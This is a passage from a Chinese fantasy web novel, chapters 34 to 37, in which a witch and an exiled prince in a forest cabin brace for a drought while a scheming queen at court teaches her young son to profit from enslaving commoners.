“嗯,”莱克斯应了一声,顺便解释了一句,“十二岁那年穿来的旧衣服,留着也没用,好在布料还算能用,就干脆剪了好几块手帕下来。” 实际上,是莱克斯见梅拉热得不成样子,才特地将这套衣服给找了出来。 莱克斯不提,梅拉都忘了,他还有过这么一套衣服。 毕竟自从她拜托杜克瓦托给莱克斯买了新衣服后,莱克斯就把从王宫里带出来的这套衣服给收了起来,再也没有穿上身过。 平时都是做最普通的平民打扮。 站在莱克斯的角度,倒是很好理解。 供给王储穿的衣服当然要用到最好的布料,再由王城里出名的裁缝精心制作,连上头的金线都细细地绣了月桂叶的花纹,绕了袖口一圈,精致又华贵。 只不过穿着这样的衣服干活,难免有些碍事,轻易还容易勾住,扯开一个口子,还不如换上更结实耐用的麻布衣服。 话说回来,“莱克斯,难道你一点都不热吗?” 梅拉扯下不再冰凉的手帕,朝莱克斯看过去,语气有些疑惑。 只见莱克斯仍然穿着平时那套衣服,扣子系得一丝不苟,领口将小半截脖子遮得严严实实,连袖子都没挽起来,仿佛快要把梅拉都融化的热度一点也没给他造成困扰。 对此,莱克斯的回答是,“是有点热。” 然而比起在大太阳底下穿着猎装,骑着马穿梭在王室的猎场中来说,莱克斯是真觉得目前还算能忍受。 哪怕时隔多年,莱克斯仍然能回忆起暴烈的阳光劈头盖脸地照在身上,汗水顺着额际一路流进眼睛里,咸得发酸的感觉。 即使如此,莱克斯也要耐心地捕捉周遭的细微动静,及时搭弓射箭。否则若是拿出来的猎物数量太少,或是让努伦格尔九世对他的表现感到不满意,他可就要直接对上努伦格尔九世那蛮不讲理的怒火了。 连六岁的小莱克斯让猎物弄得太狼狈,都能成为那个男人怒不可遏的理由,他毫不客气地指责道:“那么多骑士跟在你的身边,竟然都能弄成这个样子,真是废物!” 说着,他将刚擦过酒液的手帕用力丢到莱克斯脸上。 感受到周围大臣们明里暗里的视线,小莱克斯心间涌上了无比的屈辱。 即使到了现在,莱克斯还能想起那份屈辱的滋味。 不过,除此之外,时刻保持仪容也是贵族教育的一部分。 像梅拉这样因为太热而把袖子拉到手肘处,长发也胡乱地扎在脑后,大概是礼仪官见了要朝她尖叫的程度。 “没办法,今年的夏季热得太不正常了,简直像是旱灾的前兆。”梅拉瘫在椅子上,声音也变得有气无力的。 莱克斯的心念跟着梅拉的话一动,他其实也隐隐有种不祥的预感。 这样热的天,不说人受不了,地里的作物也同样受不了,极有可能直接被晒死。若是一批又一批的小麦苗、玉米苗被晒死在地里,那等到了秋季,是否还能收获足够王国大多数人熬过一整个严冬的粮食呢? 当然,那些靠近河流的村子还好,能用水车将河水源源不断地引到地里去灌溉。但整个王国中,这样的村子是少数,还都属于靠近王城附近的领地。 如果,如果斐南基依然担任宰相的话,莱克斯倒还没那么担心,但只怕接任他的安东尼奥·裘德未必有体恤平民的想法,只会把为数不多的粮食往贵族们的仓库里搬。 那么为了不使自己及家人被活生生的饿死,平民们将掀起一场怎样的动乱,简直不言而喻。 只不过,事情到底还没来到最糟糕的地步,现在八月刚开了个头,说不定剩下的大半个月会迎来新的变化呢。 比如,忽然下一场大雨降降温。 毕竟上一次王国之中出现大面积的旱灾,已经是三十年前的事了,那会儿连梅拉都还没有出生呢。 莱克斯也是通过翻阅王宫中储藏的过往的卷宗,才知道了这么一件事。 说起来,三十年前可真是一个微妙的时间,那会儿莱克斯的祖父,努伦格尔八世将将来到生命的尽头,又忽逢如此严重的灾难,差点被打击得直接躺在床上没了气息。 不过好在王宫里的医士一直照顾在努伦格尔八世的床侧,因此才能及时的将他救了过来。 重新恢复清醒后,努伦格尔八世马上着手解决这场旱灾,只不过他的办法既不是把仓库里多余的粮食发放出去,也不是派大臣们到床前商议主意,而是急匆匆地请了当时的老教皇来到王宫。 据说很快,老教皇便向信众们宣布,发生旱灾的原因是女巫在捣鬼,如果不能抓出女巫,这场灾难永远都不会平息。 所以,当年的旱灾真的是女巫捣的鬼吗? 若是没有与梅拉相处的这些年,莱克斯或许不会对这件事产生怀疑。 现在么,他深深地看了梅拉一眼,没有说话。 “旱灾?什么是旱灾?”塞拉斯发出不解的声音。 它还从没见识过旱灾呢,只是光听这个名字,就觉得害怕。 “旱灾就是河水干涸,露出干裂的河床;地里的庄稼因为缺水而枯死,粮食歉收;人们因为又缺水又缺粮食,饿得皮包骨头,渴得嘴唇裂开,却连血都舔不到。” 梅拉的语调慢悠誻膤團對獨鎵悠的,神色却说不上轻松,反而变得凝重许多。 谁都不想碰上这种灾难,即使是梅拉也不例外。 莱克斯则有些讶异于她的描述如此清晰,仿佛曾经亲眼所见似的。 可三十年前的旱灾距离梅拉出生,还有整整四年呢。 “梅拉,你怎么好像很清楚旱灾是什么样的样子?难道你见过旱灾吗?”塞拉斯替莱克斯问出了心中的疑问。 梅拉摇头,“我当然没见过了。” “但如果不是因为那场旱灾,我的父亲大概也遇不到逃难而来的母亲了。” 梅拉的母亲,艾尔薇并不是白松镇本地人,她出生在西南边一个子爵的领地内,家里算不上殷实,只不过因为只养了她和弟弟两个孩子,至少每天早晚两顿吃饱肚子不成问题。 然而,突然而至的旱灾打破了艾尔薇原本平静的生活。 关于这场害得她不得不背井离乡,冒着被发现后沦为奴隶的巨大风险,逃到白松镇的灾难,艾尔薇记忆深刻。 时常怀抱着小小的梅拉,断断续续地说了不少她经历过的片段。 每一幕都历历在目,仿佛就发生在昨天似的。 “那时候,你的外祖父,也就是母亲的父亲,打算将母亲卖给一个路过的粮食商人,试图换取一些让他和他的儿子能够活下来的食物。” 艾尔薇温柔地凝视着怀里的小梅拉,手上有一下没一下的拍着她的背。 “然后母亲就逃跑了吗?”小梅拉懵懂地问。 “对啊,否则母亲就要和你外祖母一样,被带到不知道什么地方去了。” 即使提起这样堪称噩梦的事情,艾尔薇的语调依然是轻柔的,仿佛只是单纯的在给女儿说一个睡前故事。 第35章 第 35 章 [艾尔薇的过往/小情侣…… 艾尔薇的故事说起来并不算多么惊心动魄, 只不过是那场旱灾下的一个小小的缩影罢了。 在这场朝不保夕的灾难中,谁也不知道什么时候就会成为一具躺在枯竭河床上的干尸。 想活下去,并没有错。 但艾尔薇恨的,却是他的父亲为了苟活, 竟然将她劳累了小半辈子的母亲卖给了一个过路的商人。 能生下艾尔薇这样远近闻名的大美人, 艾尔薇的母亲长得自然也是十分出挑,哪怕从小干着又苦又累的农活, 手上布满了冻疮和大大小小的已经愈合的口子, 那张生出了好几道皱纹的脸蛋, 笑起来依然动人。 也帮艾尔薇的父亲向商人要价时, 多要了两大袋土豆。 看着所谓的父亲和弟弟捧着烤熟的土豆吃得喷香, 艾尔薇的喉咙口涌上了想要呕吐的欲望,卖掉母亲换来的食物,她一口也吃不下去。 “吃不下去?那就饿着!”艾尔薇的父亲冷笑一声, 接着一把夺过她手里的土豆, 剥开皮,送进了自己的嘴巴里。 艾尔薇垂下眼帘,遮住眼中嫌恶的情绪,开始在心底打算逃离这个家的可能性。 旱灾不知道何时才能结束,今天她的父亲能卖了她的母亲,明天也能卖了她,艾尔薇决不能就这样坐以待毙等着那一天的到来。 只不过, 要逃到哪去呢? 艾尔薇不动声色地留意起村口时不时经过的那些逃难的人们, 他们家乡的情况远比艾尔薇所在的这个村子还要糟糕,所以才不得不拖家带口的离开。 艾尔薇从他们的嘴里打探到,他们大多数是从更西边的方向而来,也就是说, 西边是绝对不能去了。 至于南边,南边的情况可也算不上好。 听说南边的几个领地都发生了动乱,反正要么饿死要么渴死,还不如豁出一条命去打劫贵族的庄园,只要能抢到一个面包,一瓶葡萄酒,就能见到明天、后天、乃至大后天的太阳升起来。 听到这些消息,艾尔薇捂着干瘪的肚子,在稻草上翻了个身,决定咬牙往北边去。 而两天后,眼看着最后两颗土豆进了父亲和弟弟的嘴里,艾尔薇知道,她的逃跑该提上日程了。 于是趁着父亲偷偷去联系一个粮食商人的机会,艾尔薇用木棍敲晕了守在门外的弟弟,带走了为数不多的几件衣服,大跨步地离开了村子。 鼓动头发和衣袖的风同时也在裹着她不断前行,脚下仿佛生了一双翅膀似的,竟然一路越过了干涸的溪流,爬过了嶙峋的山间,离生养她的村子越来越远,甚至乘着夜色越过了子爵的领地边缘,来到了另一个领主的地盘。 一路上,艾尔薇饿了就摘叶子,用泥土洗一洗虫子和别的东西,再塞进嘴里。植物的根茎里则含着为数不多的汁液,能缓解艾尔薇的口渴。 总之,大概是运气加身,加上艾尔薇一路挑了最荒僻的山间小路行走,竟然一路走到了白松镇附近的山上,却没被任何人逮到踪迹。 这时候,艾尔薇的鞋子都磨破了,头发也乱糟糟地披在身后,浑身带着许久没洗过的臭味。 因此,乍一看见眼前有一条干净的小溪,哪怕溪水只能浅浅地没过她的脚踝,艾尔薇的眼睛仍然一亮。 不过,她警惕地观察过四周,确认附近没有任何危险的动物出没,更没有听到属于人的脚步声后,才放心地脱下罩裙,侧躺在溪边,用手捧起溪水,浇到身上,抹去了累积许久的污垢。 既然好不容易找到了水源,艾尔薇便决定留下来不走了,毕竟她现在和无处可去没有任何区别,还要小心不能让人发现她竟然是个从其它领地逃来的难民,否则将她绑了交给领主,就只有沦为奴隶这一条路可走。 与其这样,艾尔薇宁可因为找不到食物饿死在这座山上。 好在,事情远没有艾尔薇想象的那样糟糕,她不仅找到了一处隐蔽的洞穴,还采到了一串串黄澄澄的果实。 除了让艾尔薇酸得面目扭曲之外,好歹切切实实地填饱了她的肚子。 到了晚上,艾尔薇费力地将一大根缀满叶子的树枝横亘到洞口。 这是她特意找了好久才找到的树枝,能挡住三分之二个洞口,也能防住突如其来闯入的野兽。 这下,艾尔薇总算睡了奔波一个多月以来最好的一觉。 就这样一连过了好几天,艾尔薇差不多彻底适应了在山上的生活,早上,她将树枝移开,到处寻觅能吃的野果和野草,再用叶子包着一包溪水回到山洞里;下午,艾尔薇则到处寻觅野生的苎麻,看看有没有办法做一件新衣服出来。 否则她带走的这几件旧衣服,还不知道能穿多久。 只是,就算寻找到了野生的苎麻,还得经过浸水软化、剥皮等一系列麻烦的功夫,好在这都是艾尔薇在家时做惯了的活计,至少现在她只需要为了自己的生存而干活,而不用为了伺候另外的人被使唤得团团转。 艾尔薇感到了久违的满足。 如果日子能一直这么平静地过下去就好了。她想。 为此,艾尔薇在又一次入睡前选择了向神明祈祷——尽管艾尔薇并不相信教会口中的神明真实存在,否则世上怎么还会有如此多的苦难,但除了神明之外,艾尔薇也不知道自己还能向谁祈祷。 国王?那太遥远了,简直像老掉牙的睡前故事里才能请到的大人物。 领主大人?得了吧,正是因为他每年都要收取高昂的税收,艾尔薇家才永远无法攒够能做小买卖的钱。 父亲?那个本应该被视为家庭中权威的存在,现在一想起他的面孔仍然让艾尔薇几欲作呕。 总之,还是选择最高高在上、也没有切实伤害过她的神明好了。 假如艾尔薇能预料到三天后发生的一切,她大概会告诉现在的自己,瞧,神明果然不存在,你的祈祷并没有生效。 你会在三天后,不小心染上一场风寒,好在暂时只是浑身发冷、四肢乏力,还没到高热的地步。为了避免继续加重病情,趁着还能走动的时候,你试图四处寻找能够治疗风寒的草药,结果因为来不及躲避,撞上了一个陌生的男人,他的名字叫威普多·格荷拉克,是白松镇上一个医士的儿子。 * 天气太热,梅拉难得没有了往日的好食欲,晚上只喝了一大碗番茄浓汤,吃了几个肉丸子。 等到了深夜,月色高悬,小木屋里静悄悄的,几乎落针可闻的时候,摇椅上传来了轻微的摩擦声。 是梅拉小心翼翼地翻了个身。 她捂着有些空虚的肚子,开始后悔晚餐的时候竟然才吃了那么点东西。 这会儿便感觉胃里空荡荡的,十分难捱。 想到这,梅拉悄悄地起身,循着月光来到平时堆放食物的地方,随手一摸,摸出来了一个沾满泥巴的土豆。 算了,换一个,梅拉把土豆丢回去,然后重新摸出来了一个茄子。 梅拉只好又把茄子放回原位。 再掏掏,结果没想到直接掏出了一把辣椒。 哪怕梅拉飞快地松手,手上残留的辣椒味仍然让她呛了好几声,眼泪都快从眼角溢出来了。 好不容易止住咳嗽,梅拉赶紧往塞拉斯的方向看去,很好,塞拉斯一幅睡得正香的模样。 再看睡在另一侧角落的莱克斯,同样面容宁静,似乎沉入了极深的梦境之地。 梅拉于是重新转回来,换了个袋子翻找。 希望这回能找到她想要的,可以直接生吃的东西。 在她的身后,察觉到梅拉的目光从自己的脸上离开,莱克斯悄然将眼睛睁开了一条线。 见梅拉找了半天,一无所获,重新闭上眼的莱克斯开始考虑要不要想办法给她一点提示,比如在她的右侧,挪开最上层的麻袋,底下的木箱子里就装着好几个苹果。 还没等莱克斯想好该如何既不让梅拉发现他早就醒过来,又能作出提醒时,他的鼻子忽然叫人捏住了。 莱克斯猛地睁眼。 对上了梅拉笑眯眯的一张脸。 “你刚才就发现我醒了。”莱克斯笃定地道,只不过因为梅拉没有挪开手,原本低沉华丽的嗓音变得瓮声瓮气的。 逗得梅拉脸上的笑颜加深。 梅拉轻轻哼笑了两声,道出了她的理由,“以你的耳力,这么大的动静还没被我吵醒才奇怪吧?” 梅拉可是早就见识过,十三岁的莱克斯就能听见五十米外小鹿跳过草丛的声音。 因此看到莱克斯睡容宁静的那一刻,梅拉就觉得不对劲。 只不过她故意装作没看出来莱克斯在装睡的样子,自顾自地转了回去,实则等莱克斯重新闭上眼后,再悄无声息地踮着脚尖,摸到了莱克斯身旁。 见莱克斯不装了,梅拉也放开了手,顺便将藏在身后的苹果递到他面前。 她自己也拿着一颗苹果在啃。 莱克斯坐起来,接过了苹果,却只是摩挲着表皮,没有要吃的意思。 梅拉也不管他,如果此刻塞拉斯醒了,她也会给塞拉斯准备一颗苹果的。 听着梅拉坐在自己身边咔嚓咔嚓啃苹果的声音,莱克斯竟然诡异地感觉到了一阵放松。 “你在担心旱灾真的降临吗?”梅拉忽然问。 她总是这么敏锐,仿佛洞察人心是她的本能。 以至于莱克斯偶尔也会想,梅拉没说出的那些话,到底是他掩饰得好,还是梅拉故意装作不知情。 “嗯。”莱克斯轻轻地点头。 “放心吧,你担心也没用,毕竟就算是我也没办法阻止既定的事情发生啊。”梅拉啃完了苹果,提着细细的梗,任剩下的果核慢悠悠地在眼前旋转。 无非是硬着头皮面对罢了。 莱克斯陷入了沉默中。 梅拉勾了勾唇角,“当然,我知道你担心的肯定不是我们在小木屋的生活会受到旱灾的影响。” 如果说有一天旱灾真的来临,哪里能逃过一劫,那大概就是这片广袤的黑暗森林了,这里有丰富的食物,还有密布的水源,怎么也不可能熬不下去。 反倒是王国的其它地方,本就是一大家子在领主手下勉强生存,一旦遇到意外,除了祈求上头那些大人物们的怜悯之外,似乎别无他法。 可是,那些向来漠视平民的贵族们,真的会在意他们的命吗? 成百上千的死人,对贵族们来说或许也算不上什么大事,反正等这些下等人缓过气来,又会开始无穷无尽地生孩子,而他们的孩子,则继续为最上层的贵族们提供优渥的生活。 所以梅拉才说,莱克斯担心也没用,因为比起天灾,真正导致尸横遍野的其实是人祸才对。 如果贵族们愿意省下整宿整宿开舞会倾倒出的葡萄酒,省下摆满一整条长桌的食物,想要让领地内的子民熬过一场旱灾并不困难。 “你说得对。”莱克斯不得不承认,除非他能成为国王,才能将自己的命令说一不二地发布下去,否则即使他仍然留在王宫里,当着尊贵的王储,也不过是眼睁睁地看着悲剧发生,无能为力。 说不定,为了阻止他在大臣们面前露脸,伊莱雅与安东尼奥还要拼了命地反对他的想法。 这会儿没了他作为阻碍,或许伊莱雅会为了给她的儿子造势,实打实地为平民们做点好事呢。 “谢谢你,梅拉。”莱克斯理清思绪,忍不住扭头想要同梅拉道谢。 结果在他沉思的功夫,梅拉早就倒在他的毯子上睡着了。 她的面容沉静,月光越过高挺的鼻梁,爬到背对着莱克斯的这一侧脸颊,照亮了微微颤抖的睫毛。 仿佛正在呼吸的蝴蝶。 叫莱克斯情不自禁地屏住了自己的气息。 第36章 第 36 章 [旱灾,真的会来吗?]…… 时间一眨眼过去了小半个月, 酷热愈发加剧。 梅拉站在一汪泉眼前,沉默地注视着它周围晒得边缘都卷曲起来的青苔。 这是一处位于更靠近森林腹地的泉眼,以往总是汨汨地流出清澈的泉水,滋润了周遭成片的鲜绿。 低矮的一丛丛野花;霸道地占据地面, 延绵出一大张毛茸茸地毯的苔藓;长着荆棘与倒刺的灌木, 以及屹立不倒的巨树……现在野花全凋谢了,苔藓呈现出大片的枯黄, 梅拉用脚尖稍稍一划拉, 一小块青苔便从土里脱落出来。 干旱越来越严重了。梅拉垂下眼帘。 恰好这时, 几只小麻雀成群结队地扑了过来, 围住了泉眼, 脑袋不停地一点一点,取水喝。 见状,梅拉默默地后退了两步, 给它们让出了位置。 算了, 梅拉想,还是把这一处水源留给更有需要的动物们吧。 于是她抱着空荡荡的罐子回到了小木屋之中。 小木屋里,莱克斯正好在煮着一锅奶白色的浓汤,夹杂着星星点点的芹叶碎,偶尔有肥厚的肉块随着气泡上下起伏,一看就很香。 见梅拉回来了,莱克斯还以为她打了水回来。 没想到走近一看, 罐子里却是空的。 “难道已经干旱到这个地步了吗?”莱克斯的眼中流露出诧异。 除了这附近的水源全都干涸了之外, 莱克斯想不到能让梅拉这趟取水跑空的理由。 “停停停,没你想的那么糟糕,我只是突然打算用这个罐子去取点蜂蜜来吃而已。” 梅拉阻止了莱克斯进一步的误会,她拍了拍罐子, 响起“梆梆”两声,得意地向莱克斯发出了邀请,“怎么样?下午要不要和我一起去摘蜂巢?” 一般来说,采蜂人需要往腰上绑上结实的绳索,才敢攀爬到高高的树干或是陡峭的山崖上,摘取一整个蜂巢。 但有塞拉斯在,梅拉不仅不用费力气上树,还不用担心被引出来的蜜蜂追赶,蛰得满脸包,只要在树下等着接就好。 然而塞拉斯听到下午梅拉要带它出门,第一反应却是委委屈屈地提出抗议:“这么热的天,塞拉斯不想出门。” 就让塞拉斯继续呆在屋子里吧,它总觉得自己在外头多飞一会儿绝对会中暑的。 “噢?难道塞拉斯不想吃蜂蜜布丁、蜂蜜水果挞、蜂蜜柠檬派吗?”梅拉屈起手指数了数,尽是一些好吃的点心,不怕勾不起塞拉斯肚子里的馋虫。 果然,听了她的话,塞拉斯的语气变得犹豫起来,“……想、想吃的。” “那要不要出门?”梅拉循循善诱。 “出!”塞拉斯眼睛一闭,一口应下,仿佛再慢一会儿就忍不住会反悔似的。 搞定塞拉斯,梅拉看向莱克斯。 这个就不需要她多费口舌了,满意地看着他点了头,梅拉放下罐子,“那等我先去换条裙子。” 莱克斯这才注意到,梅拉墨绿色的裙摆上又沾了许多新鲜的深色斑点。 大概是因为梅拉总是容易发生一些小意外,偶尔还会将墨水瓶打翻在身上,曾经侍女裙子上有一个小小的黑点都忍不住叫她下去换衣服的莱克斯,如今也能对梅拉裙子上的痕迹做到了视而不见的地步。 说起来梅拉也是倒霉,刚才回来的路上不慎踩了一鞋底的泥巴果。 那些不过指甲盖大小的棕褐色果实,从枝条上滴溜溜地滚落一地,与泥土混为一体,一不小心就能让路过的动物中招。 当蹄子踩上去,果实脆弱的表皮破裂,能溅起半米高的汁水,黏糊糊地缠在身上,散发出难闻的土腥味,只有用水才能洗干净。 而梅拉当时一脚踩上去,软趴趴的触感就立刻让她反应过来不对劲,哪怕躲避及时,还是不可避免地弄脏了裙子。 换上干净的裙子,享用过食物,梅拉就带着莱克斯与塞拉斯一起出发了。 既然想采蜜,首先就要找到蜂巢。 然而梅拉抬着头,绕着一棵又一棵树转圈圈,愣是没找到任何可疑的影子。 “奇怪,我明明记得以前这块少说有两到三个蜂巢才对。” 这附近环境开阔,树木高大,又长着好几丛或叫得出名字或干脆没有名字的野花,红的、粉的、黄的,红杜鹃、粉蔷薇、雏菊,大大小小的挂在枝条上,总能吸引不少蜜蜂前来,但是现在梅拉转了一圈又一圈,一只蜜蜂都没看见。 “或许是因为它们都被梅拉你吓跑了吧。”塞拉斯弱弱地点出真相。 谁能受得了天天被人觊觎自己的家呢? 以前梅拉只要馋蜂蜜了,就会到这里来转悠。 她和塞拉斯的配合可以说是天衣无缝。 一个将蜂巢打下来,吸引追赶的蜜蜂,一个趁机捡走空荡荡的流着蜜的蜂巢,一溜烟地跑远了。 最后在小木屋,喝着用水冲开的蜂蜜,一人一鸟美滋滋得不行。 或许一开始,蜜蜂们顶多是自认倒霉,又兢兢业业地重新筑巢,但倒霉的次数多了,任谁都能回过味来,收拾收拾另觅合适的家园。 “好吧,或许你说的没错。”梅拉悻悻地收回视线,转身钻入另一片树林中。 这时候梅拉开始怀念几年前让杜克瓦托带走的那头大黑熊了,当初她就是跟在大黑熊的身后,找到了哪里藏有蜂巢,这会儿让她自己来,简直跟个无头苍蝇一样到处乱转。 “等一下,那个黑影是不是蜂巢?”莱克斯忽然出声。 闻言,不管是站在他前方不远处的梅拉,还是站在他肩膀上的塞拉斯,都立刻循着他的视线望去,在他们斜前方的一棵树上,好像隐隐有一角黑影,像极了蜂巢的样子。 等梅拉先一步走过去,换了好几个角度观察过后,惊讶地发现还真是,只不过它躲得好,大部分巢穴都躲进了树洞里,再加上并没有蜜蜂进进出出,容易让人误以为是早已被抛弃的空巢。 “塞拉斯——”梅拉呼唤了一声。 塞拉斯即刻会意地飞起来,朝着那蜂巢一爪子踹上去,也不管踹没踹掉,接着转身就逃。 蜂群在它的身后组成一条黑色的缎带,嗡嗡声追着它一路远去。 梅拉倒是不担心蜂群能追上塞拉斯,但蜂巢还留在树洞里,需要有人爬上去取。 保险起见,莱克斯拦下了跃跃欲试的梅拉,由他上到了树洞附近。 果然,蜂群留下了几只蜜蜂在盯梢,正绕着蜂巢上下飞舞。 梅拉站在树底下,望见莱克斯折了一根树枝,伸进了树洞里。 下一刻,黑色的圆状物从天而降,梅拉眼疾手快地接住,想也不想扭头就跑。 风随着她的跑动绕着发丝打转,拂过脖颈,拂过翻飞的裙摆,却在眨眼间就被她甩在身后。 因为奔跑的动作,汗水密密地沁了一层,划过晕红的脸颊,洇湿布料,梅拉却一面喘气一面忍不住扬起嘴角。 等到重新与塞拉斯和莱克斯汇合,梅拉得意地举了举手中的蜂巢,“走,我们回去先泡壶蜂蜜柠檬水解解渴。” 塞拉斯欢呼一声,它刚才为了躲避蜂群,飞得那叫一个口干舌燥。 莱克斯则整了整有些歪的领口,恢复了一派淡然。 他们走了大概一刻钟左右,便回到了小木屋附近。 只是远远的,梅拉就瞧见了一道熟悉的身影,正站在紧闭的小屋门前,“咦,那不是霍尔吗?” “梅拉小姐!”一直守在门前的霍尔听到脚步声,惊喜地回头,发现果然是梅拉一行。 “霍尔,你怎么来了?”梅拉走到霍尔面前,差点以为自己记错了时间,今天好像不该是霍尔送粮食来的日子没错吧? 如果早知道霍尔会来,她肯定不会带着莱克斯和塞拉斯一起出门的。 提到这个,霍尔挠了挠头,面色有些许凝重,“我是听到了一点风声,然后特意将下个月的粮食提前送过来的。” “哦?难道发生什么事了吗?”梅拉从霍尔的语气中嗅到了不同寻常的味道。 “说发生了什么事,倒也不尽然,只是镇上收粮食的商人忽然变多了。我听人说,这都是拜亚德伯爵的吩咐。再加上这个天气热得让人不安,我就想提前把粮食送过来准没错。”霍尔道。 事关拜亚德伯爵,梅拉看向莱克斯,询问他的看法。 莱克斯沉吟片刻,分析到,“虽然领地中发生的事情,作为领主理应第一时间能够得知其情况,或许拜亚德领其它地方发生了什么你不知道的大事。” “只不过,如果对象是拜亚德的话,我更倾向于他是从王城那边听说了什么消息。” 甚至莱克斯忍不住进一步怀疑,拜亚德是否是通过他的姑姑纳伊芙从王宫内提前探听到了别的动静,导致他开始未雨绸缪提前行动起来。 和莱克斯他们不同,三十年前那场旱灾,无论是努伦格尔九世还是伊莱雅都是亲历者,或许自入夏以来越来越难耐的酷热勾起了谁的警惕也说不定。 “总之你做得对,八月过后,或许会有什么事情将要发生。最好你也提前做些准备,比如将多余的粮食藏起来。”莱克斯顺带提醒到。 “我明白了。”霍尔点头,打算回去就按照莱克斯说的做。 自从上回莱克斯帮着他和乔安妮成功脱离险境,搬到拜亚德领开启了新生活后,霍尔对莱克斯的话再信服不过。 不过霍尔也不是傻子,从莱克斯的态度和他模糊的话语中,他也隐约猜到了一个不好的事实。 霍尔担忧地问梅拉,“是不是将有什么灾难要发生了?” 他希望从擅长预言的女巫口中听到一个否定的答案,告诉他事情远没他想象的那么糟糕。 然而梅拉早已敛起了眼中的笑意,她含糊地答道:“或许吧。无论是否将要发生灾难,至少提前做好准备总是没错的。” 梅拉没说的是,她心中同样有一股不安在蔓延,仿佛她正离什么不好的事情越来越近了。 旱灾,真的会来吗? 第37章 第 37 章 [西维里与伊莱雅剧情居…… 高大的洁白廊柱下, 精心打理过的玫瑰花丛轻轻摇摆,送来一阵芳香。 造型精致的点心和刚泡好的茶水摆在大理石桌面上,静待享用它们的人前来。 几个侍女守在附近,穿着统一的宫廷制式裙装, 那一张张年轻的脸庞哪怕故意严肃地板着, 仍然为这王宫一隅的小花园增添了几分属于春天般明媚的气息。 忽然,其中一个人从角落中瞥见有一只蜜蜂摇摇晃晃地想要靠近石桌, 赶紧朝身旁的同伴使眼色。 同伴收到她的眼神示意, 赶紧看向了另一个人。 一时间, 大家纷纷面面相觑, 愣是没有谁主动鼓起勇气走出来, 前去驱赶那只蜜蜂。 这可不行,最先使眼色的那名侍女暗忖:伊莱雅王后和西维里殿下不知道什么时候会过来,如果让他们恰好撞见这一幕, 不管点心和茶水到底有没有被蜜蜂碰过, 她们绝对都是要遭殃的。 “珊娜,你去,把蜜蜂赶走。”她开口了,直接点名道姓叫了她们这群侍女中地位最低的珊娜·埃勒里。 作为子爵的女儿,面对其他人,珊娜总是不够有底气。 因此冷不丁听见这道吩咐,即使心中同样害怕自己被蜇, 珊娜还是不得不强忍着惧意, 走上前去,用袖子挥开这只胆敢靠近石桌的蜜蜂。 好在这只蜜蜂虽然遭到驱赶,却并没有像珊娜担心的那样发怒,而是自顾自地换个方向飞走了。 呼, 珊娜心底松了口气,默默地退回了原位。 反而是命令珊娜的那名侍女看起来有些不悦,似乎是因为没见到珊娜丢脸而感到失望。 见状,珊娜微微低下头,假装自己并没有看到这一幕。 同时,她忍不住偷偷怀念起斐南基还在的时候,作为众人公认的贤明宰相,不管是为了讨好他,还是为了别的目的,总之在宫务大臣的眼皮子底下,表面上王宫至少还维持着一派井井有条的秩序,鲜少出现这样互相欺压的情况。 但自从斐南基离开王宫,回到自己的领地后,一切都变了。 曾经服侍过莉莉勒斯王后与莱克斯殿下的宫务大臣恩多鲁被换成了卡威士·贝纳,一个在珊娜看来惯于趋炎附势的小人,他靠着获得了伊莱雅王后的信任一步登天,从一个小小的侍从一跃而至宫务大臣的位置,结果就是只有能够讨好他的人才能获得好差事。 而像珊娜这样性格过于正直的,则成了受排挤的对象。 想起在西维里殿下的新生洗礼当天,无故失踪的莱克斯殿下,珊娜的眼神一暗,偌大的王宫中,想要走丢一个人可不容易,尤其走丢的还是尊贵的王储,未来的王位继承人,其中属于阴谋的味道简直连傻子都闻得出来。 可惜听闻这样的噩耗,努伦格尔九世却没有要追究的意思,只不过派出一队侍从在王城附近随意地找了找。 即使下面的人传来消息说根本找不到有关莱克斯殿下的踪迹,他也没有任何伤心的模样,反而屡屡向大臣们提起小儿子的趣事,明摆着告诉大家,我就是不喜欢莱克斯,更喜欢西维里。 只不过也不知道为什么,以努伦格尔九世对西维里的宠爱,却一直没将他立为新的王储。 珊娜发散的思绪随着一阵突然响起的脚步声收拢回来,原来是伊莱雅带着西维里来了。 他们的身后还跟着十来位侍女,其中有一大半都是负责服侍西维里的人。 对于这个儿子,伊莱雅可以说是把他捧到了手心上,甚至愿意从盘子上拿起一块点心,递到西维里的嘴边,做服侍他的动作。 西维里就着这个姿势吃完了伊莱雅递来的点心,接着迫不及待地告诉她,今天又从老师那学了什么东西。 西维里的老师虽然不是斐南基,但也是伊莱雅精挑细选过后,选定的财务大臣福森·加德纳,他虽然不像斐南基一样得到重用,但能不声不响地管了整个王国的钱袋子十几年,捞了满肚子的油水,就能说明他的本事不一般。 伊莱雅对这个人选很满意。 在听到西维里用稚嫩的童音细细碎碎地说着福森带他学习算术,告诉他去年光是给他做衣服就花了上千枚金币,给他养小马驹又花了数百枚金币时,伊莱雅那双用铅粉描摹得凌厉的眉眼忍不住弯成了温柔的弧度。 “既然这样,那我也来给我的小里尔出道算术题好了。” 西维里顿时睁大眼睛,竖起耳朵认真听伊莱雅接下来要说的话。 “假如一个平民每年能种出十袋粮食的话,我的小里尔知不知道最终王宫的仓库能收到多少袋粮食呢?”伊莱雅摇着手中的绸扇,先问了个简单的问题。 “我知道!”西维里兴奋地答,“按照王国的法律,如果有十袋粮食的话,有六袋要作为税收缴纳给领主,而领主又从这六袋粮食中取出四袋作为税收缴纳给国王。” 也就是说,一个平民只能给王宫的仓库贡献四袋粮食。 想到这,西维里皱了皱他那两条细细的眉毛,有些嫌弃,“怎么会这么少,这些平民为什么不能多种点粮食出来呢?” “是啊,为什么他们不能多种点粮食出来呢?明明我们已经给了他们那么多的土地。”伊莱雅温声附和道,显然很是赞同西维里的观点。 “那么,假如一个平民变成了奴隶,他的土地回到了领主的手中,领主每年能得到九袋粮食的话,是不是就能向我们缴纳六袋粮食了呢?” “是这样没错!母亲母亲,那我们快让更多平民变成奴隶吧,这样我们不就能得到更多的粮食了吗。”西维里天真地道。 伊莱雅笑着摸了摸他的脑袋,夸道,“我的小里尔可真聪明,母亲也是这么想的呢。” 当然,让领主们得到更多的奴隶,好处可不止西维里说的这么点。 譬如一个平民原来要花四十枚铜币才能买一整只鸡来填饱肚子,然而一旦他成为了领主手底下的奴隶,买来的整只鸡就能分给七八个和他差不多的奴隶一起吃。 更重要的是,这样一来,就再也没有人会因为一只鸡要花四十枚铜币来买而对安东尼奥感到不满,从而怂恿努伦格尔九世将斐南基给请回来。 要知道当初为了让斐南基离开王宫,伊莱雅付出了太多的努力,她绝不允许将好不容易给她家族里的兄弟抢来的宰相位子又还回去。 